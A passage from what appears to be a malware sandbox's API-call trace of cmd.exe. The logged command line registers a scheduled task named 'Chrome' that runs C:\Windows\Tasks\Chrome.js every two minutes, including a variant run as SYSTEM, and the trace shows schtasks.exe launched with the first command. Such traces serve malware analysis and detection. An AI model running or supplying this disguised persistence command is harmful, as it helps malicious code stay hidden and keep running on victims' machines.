AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.978] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22fd90, dwLength=0x30 | out: lpBuffer=0x22fd90*(BaseAddress=0x230000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0054.978] GetConsoleOutputCP () returned 0x1b5 [0054.978] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4fbfe0 | out: lpCPInfo=0x4a4fbfe0) returned 1 [0054.978] SetConsoleCtrlHandler (HandlerRoutine=0x4a4e3184, Add=1) returned 1 [0054.978] _get_osfhandle (_FileHandle=1) returned 0x7 [0054.978] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0054.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0054.979] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4ee194 | out: lpMode=0x4a4ee194) returned 1 [0054.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0054.979] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0054.979] _get_osfhandle (_FileHandle=0) returned 0x3 [0054.979] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4ee198 | out: lpMode=0x4a4ee198) returned 1 [0054.979] _get_osfhandle (_FileHandle=0) returned 0x3 [0054.979] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0054.979] GetEnvironmentStringsW () returned 0x308d70* [0054.980] FreeEnvironmentStringsW (penv=0x308d70) returned 1 [0054.980] GetEnvironmentStringsW () returned 0x308d70* [0054.980] FreeEnvironmentStringsW (penv=0x308d70) returned 1 [0054.980] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ece8 | out: phkResult=0x22ece8*=0x44) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x18, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x1, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x1, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x0, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x40, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x40, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x40, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.980] RegCloseKey (hKey=0x44) returned 0x0 [0054.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ece8 | out: phkResult=0x22ece8*=0x44) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x40, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x1, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x1, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x0, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x9, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x4, lpData=0x22ed00*=0x9, lpcbData=0x22ece4*=0x4) returned 0x0 [0054.980] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ece0, lpData=0x22ed00, lpcbData=0x22ece4*=0x1000 | out: lpType=0x22ece0*=0x0, lpData=0x22ed00*=0x9, lpcbData=0x22ece4*=0x1000) returned 0x2 [0054.981] RegCloseKey (hKey=0x44) returned 0x0 [0054.981] time (in: timer=0x0 | out: timer=0x0) returned 0x5c349a40 [0054.981] srand (_Seed=0x5c349a40) [0054.981] GetCommandLineW () returned="cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM" [0054.981] GetCommandLineW () returned="cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM" [0054.981] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4fc0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0054.981] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x308d80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0054.981] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0054.981] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0054.981] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0054.981] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0054.981] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0054.981] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0054.981] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0054.981] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0054.981] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0054.981] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0054.981] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0054.981] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0054.981] GetEnvironmentStringsW () returned 0x308f90* [0054.982] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0054.982] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0054.982] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0054.982] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0054.982] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0054.982] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0054.982] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0054.982] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0054.982] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0054.982] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0054.982] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0054.982] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22faf0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0054.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x22faf0, lpFilePart=0x22fad0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22fad0*="Desktop") returned 0x19 [0054.982] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0054.982] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f800 | out: lpFindFileData=0x22f800) returned 0x2f1320 [0054.982] FindClose (in: hFindFile=0x2f1320 | out: hFindFile=0x2f1320) returned 1 [0054.982] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x22f800 | out: lpFindFileData=0x22f800) returned 0x2f1320 [0054.982] FindClose (in: hFindFile=0x2f1320 | out: hFindFile=0x2f1320) returned 1 [0054.982] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x22f800 | out: lpFindFileData=0x22f800) returned 0x2f1320 [0054.983] FindClose (in: hFindFile=0x2f1320 | out: hFindFile=0x2f1320) returned 1 [0054.983] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0054.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0054.983] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0054.983] GetEnvironmentStringsW () returned 0x308f90* [0054.983] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0054.983] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4fc0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0054.983] GetConsoleOutputCP () returned 0x1b5 [0054.984] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4fbfe0 | out: lpCPInfo=0x4a4fbfe0) returned 1 [0054.984] GetUserDefaultLCID () returned 0x409 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4f7b50, cchData=8 | out: lpLCData=":") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22fc00, cchData=128 | out: lpLCData="0") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22fc00, cchData=128 | out: lpLCData="0") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22fc00, cchData=128 | out: lpLCData="1") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a50a740, cchData=8 | out: lpLCData="/") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a50a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a50a460, cchData=32 | out: lpLCData="Tue") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a50a420, cchData=32 | out: lpLCData="Wed") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a50a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a50a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a50a360, cchData=32 | out: lpLCData="Sat") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a50a700, cchData=32 | out: lpLCData="Sun") returned 4 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4f7b40, cchData=8 | out: lpLCData=".") returned 2 [0054.984] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a50a4e0, cchData=8 | out: lpLCData=",") returned 2 [0054.984] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0054.985] GetConsoleTitleW (in: lpConsoleTitle=0x30bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0054.985] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0054.985] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0054.985] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0054.985] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0054.986] _wcsicmp (_String1="schtasks", _String2=")") returned 74 [0054.986] _wcsicmp (_String1="FOR", _String2="schtasks") returned -13 [0054.986] _wcsicmp (_String1="FOR/?", _String2="schtasks") returned -13 [0054.986] _wcsicmp (_String1="IF", _String2="schtasks") returned -10 [0054.986] _wcsicmp (_String1="IF/?", _String2="schtasks") returned -10 [0054.986] _wcsicmp (_String1="REM", _String2="schtasks") returned -1 [0054.986] _wcsicmp (_String1="REM/?", _String2="schtasks") returned -1 [0054.988] _wcsicmp (_String1="schtasks", _String2=")") returned 74 [0054.989] _wcsicmp (_String1="FOR", _String2="schtasks") returned -13 [0054.989] _wcsicmp (_String1="FOR/?", _String2="schtasks") returned -13 [0054.989] _wcsicmp (_String1="IF", _String2="schtasks") returned -10 [0054.989] _wcsicmp (_String1="IF/?", _String2="schtasks") returned -10 [0054.989] _wcsicmp (_String1="REM", _String2="schtasks") returned -1 [0054.989] _wcsicmp (_String1="REM/?", _String2="schtasks") returned -1 [0054.991] GetConsoleTitleW (in: lpConsoleTitle=0x22fa50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0054.991] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0054.991] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0054.991] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0054.991] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0054.991] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0054.991] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0054.991] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0054.991] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0054.991] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0054.991] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0054.991] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0054.991] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0054.991] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0054.991] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0054.991] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0054.991] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0054.991] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0054.991] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0054.991] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0054.991] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0054.991] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0054.991] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0054.991] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0054.991] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0054.991] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0054.991] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0054.991] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0054.992] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0054.992] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0054.992] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0054.992] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0054.992] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0054.992] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0054.992] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0054.992] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0054.992] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0054.992] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0054.992] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0054.992] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0054.992] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0054.992] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0054.992] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0054.992] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0054.992] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0054.992] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0054.992] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0054.992] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0054.992] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0054.992] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0054.992] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0054.992] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0054.992] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0054.992] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0054.992] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0054.992] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0054.992] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0054.992] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0054.992] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0054.992] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0054.992] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0054.992] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0054.992] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0054.992] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0054.992] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0054.992] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0054.992] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0054.992] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0054.993] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0054.993] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0054.993] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0054.993] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0054.993] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0054.993] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0054.993] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0054.993] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0054.993] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0054.993] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0054.993] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0054.993] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0054.993] _wcsicmp (_String1="schtasks", _String2="FOR") returned 13 [0054.993] _wcsicmp (_String1="schtasks", _String2="IF") returned 10 [0054.993] _wcsicmp (_String1="schtasks", _String2="REM") returned 1 [0054.993] _wcsnicmp (_String1="scht", _String2="cmd ", _MaxCount=0x4) returned 16 [0054.993] SetErrorMode (uMode=0x0) returned 0x8005 [0054.994] SetErrorMode (uMode=0x1) returned 0x4 [0054.994] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2f1330, lpFilePart=0x22f2e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22f2e0*="Desktop") returned 0x19 [0054.994] SetErrorMode (uMode=0x8005) returned 0x5 [0054.994] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0054.994] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0054.999] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0054.999] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.000] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0055.000] GetLastError () returned 0x2 [0055.000] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\schtasks", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0055.000] GetLastError () returned 0x2 [0055.000] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.000] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0x308bd0 [0055.000] FindClose (in: hFindFile=0x308bd0 | out: hFindFile=0x308bd0) returned 1 [0055.000] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.COM", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0055.000] GetLastError () returned 0x2 [0055.001] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.EXE", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0x308bd0 [0055.001] FindClose (in: hFindFile=0x308bd0 | out: hFindFile=0x308bd0) returned 1 [0055.001] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0055.001] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0055.001] GetConsoleTitleW (in: lpConsoleTitle=0x22f5a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.001] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f358, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f318 | out: lpAttributeList=0x22f358, lpSize=0x22f318) returned 1 [0055.001] UpdateProcThreadAttribute (in: lpAttributeList=0x22f358, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f308, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f358, lpPreviousValue=0x0) returned 1 [0055.001] GetStartupInfoW (in: lpStartupInfo=0x22f470 | out: lpStartupInfo=0x22f470*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x2, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0055.001] lstrcmpW (lpString1="\\schtasks.exe", lpString2="\\XCOPY.EXE") returned -1 [0055.003] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\schtasks.exe", lpCommandLine="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x22f390*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f340 | out: lpCommandLine="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F ", lpProcessInformation=0x22f340*(hProcess=0x54, hThread=0x50, dwProcessId=0xa4c, dwThreadId=0xa50)) returned 1 [0055.025] CloseHandle (hObject=0x50) returned 1 [0055.025] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0055.025] GetEnvironmentStringsW () returned 0x30ae10* [0055.025] FreeEnvironmentStringsW (penv=0x30ae10) returned 1 [0055.025] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0056.418] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x22f288 | out: lpExitCode=0x22f288*=0x0) returned 1 [0056.418] CloseHandle (hObject=0x54) returned 1 [0056.418] _vsnwprintf (in: _Buffer=0x22f4f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x22f298 | out: _Buffer="00000000") returned 8 [0056.418] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0056.418] GetEnvironmentStringsW () returned 0x308f90* [0056.418] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0056.418] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0056.418] GetEnvironmentStringsW () returned 0x308f90* [0056.418] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0056.418] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f358 | out: lpAttributeList=0x22f358) 